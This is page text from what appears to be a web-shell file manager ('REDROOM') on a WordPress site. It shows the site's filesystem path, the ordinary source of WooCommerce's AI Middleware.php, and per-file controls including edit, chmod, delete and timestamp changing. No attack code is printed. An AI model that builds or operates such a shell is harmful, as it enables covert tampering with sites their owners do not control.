REDROOM
PHP 8.2.31
Path:
Logout
Edit File
Size: 1.35 KB
Close
/home/nshryvcy/taramarriagebureau.com/wp-content/plugins/woocommerce/src/Admin/API/AI/Middleware.php
Text
Base64
<?php declare( strict_types = 1 ); namespace Automattic\WooCommerce\Admin\API\AI; use Automattic\WooCommerce\StoreApi\Exceptions\RouteException; use WP_Error; /** * Middleware class. * * @internal */ class Middleware { /** * Ensure that the user is allowed to make this request. * * @return boolean|WP_Error * @throws RouteException If the user is not allowed to make this request. */ public static function is_authorized() { try { if ( ! current_user_can( 'manage_options' ) ) { throw new RouteException( 'woocommerce_rest_invalid_user', __( 'You are not allowed to make this request. Please make sure you are logged in.', 'woocommerce' ), 403 ); } } catch ( RouteException $error ) { return new WP_Error( $error->getErrorCode(), $error->getMessage(), array( 'status' => $error->getCode() ) ); } $allow_ai_connection = get_option( 'woocommerce_blocks_allow_ai_connection' ); if ( ! $allow_ai_connection ) { try { throw new RouteException( 'ai_connection_not_allowed', __( 'AI content generation is not allowed on this store. Update your store settings if you wish to enable this feature.', 'woocommerce' ), 403 ); } catch ( RouteException $error ) { return new WP_Error( $error->getErrorCode(), $error->getMessage(), array( 'status' => $error->getCode() ) ); } } return true; } }
Save
Close
Exit & Reset
Text mode: syntax highlighting auto-detects file type.
Directory Contents
Dirs: 0 × Files: 8
Delete Selected
Select All
Select None
Sort:
Name
Size
Modified
Enable drag-to-move
Name
Size
Perms
Modified
Actions
AIEndpoint.php
853 B
lrw-r--r--
2026-03-03 06:25:15
Edit
Download
Rename
Chmod
Change Date
Delete
OK
Cancel
recursive
OK
Cancel
recursive
OK
Cancel
BusinessDescription.php
1.74 KB
lrw-r--r--
2026-03-03 06:25:15
Edit
Download
Rename
Chmod
Change Date
Delete
OK
Cancel
recursive
OK
Cancel
recursive
OK
Cancel
Images.php
2.25 KB
lrw-r--r--
2026-03-03 06:25:15
Edit
Download
Rename
Chmod
Change Date
Delete
OK
Cancel
recursive
OK
Cancel
recursive
OK
Cancel
Middleware.php
1.35 KB
lrw-r--r--
2026-03-03 06:25:15
Edit
Download
Rename
Chmod
Change Date
Delete
OK
Cancel
recursive
OK
Cancel
recursive
OK
Cancel
Patterns.php
2.48 KB
lrw-r--r--
2026-03-03 06:25:15
Edit
Download
Rename
Chmod
Change Date
Delete
OK
Cancel
recursive
OK
Cancel
recursive
OK
Cancel
Product.php
2.11 KB
lrw-r--r--
2026-03-03 06:25:15
Edit
Download
Rename
Chmod
Change Date
Delete
OK
Cancel
recursive
OK
Cancel
recursive
OK
Cancel
StoreInfo.php
1.54 KB
lrw-r--r--
2026-03-03 06:25:15
Edit
Download
Rename
Chmod
Change Date
Delete
OK
Cancel
recursive
OK
Cancel
recursive
OK
Cancel
StoreTitle.php
3.75 KB
lrw-r--r--
2026-03-03 06:25:15
Edit
Download
Rename
Chmod
Change Date
Delete
OK
Cancel
recursive
OK
Cancel
recursive
OK
Cancel
Zip Selected
If ZipArchive is unavailable, a
.tar
will be created (no compression).